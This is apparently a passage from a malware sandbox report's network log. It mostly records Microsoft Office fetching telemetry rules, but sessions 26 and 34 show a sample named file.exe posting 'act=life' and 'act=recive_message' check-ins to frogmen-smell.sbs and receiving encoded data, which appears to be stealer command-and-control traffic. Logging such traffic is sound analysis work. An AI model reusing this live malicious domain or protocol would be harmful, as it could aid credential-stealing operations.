2024-11-14 16:24:20 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:20 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:20 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:20 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 9f11ee7d-201e-0096-73f2-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162420Z-16547b76f7fr4g8xhC1DFW9cqc0000000k40000000006q9w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:20 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49736	172.67.174.133	443	5788	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:20 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: frogmen-smell.sbs
2024-11-14 16:24:20 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-14 16:24:21 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d4a3ltgfrphhs37nc7j0lk6fum; expires=Mon, 10-Mar-2025 10:11:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mGb2BEwFC%2BuOdOMP4gtpTZggzW2dpJg0r1aCSe2RtwQ4X%2FhyyuwBxuFayj4f%2B4LNDqY3vSudODG9ZztCjc2NW%2FnOQjKNjerx8%2BNOjxnzsYr8Somkcrp23Nf89FEW6benYq2yww%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2859ea5f6c51f5-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18778&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=908&delivery_rate=152702&cwnd=32&unsent_bytes=0&cid=f673d5bbc7026bce&ts=616&x=0"
2024-11-14 16:24:21 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-14 16:24:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:20 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:21 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: e927806a-001e-002b-31a0-3499f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162421Z-1749fc9bdbdhnf7rhC1DFWgd0n00000002t000000000d4w6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:21 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:21 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 9b652b0c-201e-006e-3706-36bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162421Z-1749fc9bdbdmg6wshC1DFWu2bc00000002wg000000009pc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:21 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:21 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:21 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 383c7f00-901e-008f-5aa8-3667a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162421Z-16547b76f7ftdm8dhC1DFWs13g0000000ks000000000uqy8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 16:24:21 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:21 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:21 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:21 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 2361c5fe-901e-0064-45f6-2ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162421Z-16547b76f7f2g4rlhC1DFWnx880000000kug00000000a528 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:21 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:21 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 9dcd50e6-101e-0034-2ca1-3496ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162421Z-r178fb8d765mjvjchC1DFWhkyn00000002hg00000000pzzh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:21 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:22 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:21 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: c6b44c52-001e-0028-1ef0-2cc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162421Z-16547b76f7fk9g8vhC1DFW825400000000v0000000007yrm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 16:24:22 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:21 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:22 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:21 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65394723-101e-00a2-80f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162421Z-16547b76f7fkcrm9hC1DFWxdag0000000kx000000000v553 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:22 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49744	172.67.174.133	443	5788	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:22 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: frogmen-smell.sbs
2024-11-14 16:24:22 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-14 16:24:22 UTC	1012	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7275kgqpe2vbgh6k1r683mlnun; expires=Mon, 10-Mar-2025 10:11:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dOfhnsLIJ3UXMXvNxEmsc1rpuPUVBIXiLofi9xRUS6uDndzGFJ2AWwlXNE2P8sGRhflA1zYB3TrgEtmSU7bp7lTZ%2B0waoo52TX4RJUyA%2BtUw7eAFszyhsI7VEjHOyk8jRx4T8Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2859f348e2e73f-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19210&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=149943&cwnd=32&unsent_bytes=0&cid=175a3346bf0f79e3&ts=511&x=0"
2024-11-14 16:24:22 UTC	357	IN	Data Raw: 34 34 36 63 0d 0a 50 7a 39 34 6d 44 62 30 55 36 52 42 47 70 78 46 33 56 77 78 39 54 6b 4e 54 72 47 57 6d 59 46 33 6d 32 77 69 74 6b 2f 78 30 72 42 45 48 51 36 36 44 4d 42 2f 68 6a 4a 2f 76 6e 2b 70 4c 6b 53 51 46 53 38 76 31 62 53 6a 35 78 62 33 48 30 65 61 62 59 65 2f 6b 67 56 5a 47 66 52 46 6b 58 2b 47 4a 47 4b 2b 66 34 59 6e 45 35 42 58 4c 33 53 54 38 2f 50 6a 46 76 63 4f 51 39 30 67 67 62 37 54 56 31 4d 66 38 46 4f 58 4e 38 55 74 64 2f 6b 67 75 44 31 62 6d 31 42 67 4a 74 79 30 74 61 4d 53 34 55 34 59 6c 41 4b 55 70 74 46 79 58 67 76 7a 46 49 6c 2f 33 32 4e 2f 38 6d 66 6e 66 6c 43 51 57 32 45 6f 31 66 33 78 36 52 2f 2f 44 30 62 63 50 35 69 30 32 46 64 64 48 50 46 5a 6e 69 50 49 4a 33 44 79 4a 72 49 39 45 39 6b 62 61 44 53 54 72 4c 75 77 4a 2f 6f 66 55 Data Ascii: 446cPz94mDb0U6RBGpxF3Vwx9TkNTrGWmYF3m2witk/x0rBEHQ66DMB/hjJ/vn+pLkSQFS8v1bSj5xb3H0eabYe/kgVZGfRFkX+GJGK+f4YnE5BXL3ST8/PjFvcOQ90ggb7TV1Mf8FOXN8Utd/kguD1bm1BgJty0taMS4U4YlAKUptFyXgvzFIl/32N/8mfnflCQW2Eo1f3x6R//D0bcP5i02FddHPFZniPIJ3DyJrI9E9kbaDSTrLuwJ/ofU
2024-11-14 16:24:22 UTC	1369	IN	Data Raw: 55 4b 33 50 31 49 71 30 31 57 70 70 57 62 79 48 5a 2b 2f 6a 6a 45 76 4d 45 54 39 34 70 6e 72 33 55 58 56 31 61 74 42 53 52 4b 59 5a 37 4f 4e 30 69 72 7a 6c 66 67 52 6c 56 62 4d 79 36 34 71 4d 53 39 55 34 59 6c 43 57 57 73 39 46 57 55 68 6e 79 58 34 51 78 31 43 56 31 2b 7a 57 35 4f 31 32 64 57 48 30 6d 33 66 4c 34 36 68 37 77 43 30 66 51 62 64 33 77 31 55 55 64 51 72 70 31 6d 7a 72 4b 4b 57 2f 2b 5a 36 42 77 53 74 64 63 59 32 79 4c 74 50 2f 69 45 66 67 4b 54 74 6f 70 6e 37 62 63 55 46 49 63 38 46 53 52 4f 38 34 72 65 66 4d 73 73 44 35 57 6d 6c 39 70 49 4e 4c 78 75 36 31 56 2f 68 59 41 6a 47 32 39 74 39 46 50 48 79 2f 35 57 70 67 32 30 47 4e 6e 73 44 37 2f 4f 56 2f 58 41 79 38 69 31 76 76 70 34 67 66 38 41 46 4c 59 4b 4a 57 39 30 56 4e 64 48 2f 31 5a 6d 44 Data Ascii: UK3P1Iq01WppWbyHZ+/jjEvMET94pnr3UXV1atBSRKYZ7ON0irzlfgRlVbMy64qMS9U4YlCWWs9FWUhnyX4Qx1CV1+zW5O12dWH0m3fL46h7wC0fQbd3w1UUdQrp1mzrKKW/+Z6BwStdcY2yLtP/iEfgKTtopn7bcUFIc8FSRO84refMssD5Wml9pINLxu61V/hYAjG29t9FPHy/5Wpg20GNnsD7/OV/XAy8i1vvp4gf8AFLYKJW90VNdH/1ZmD
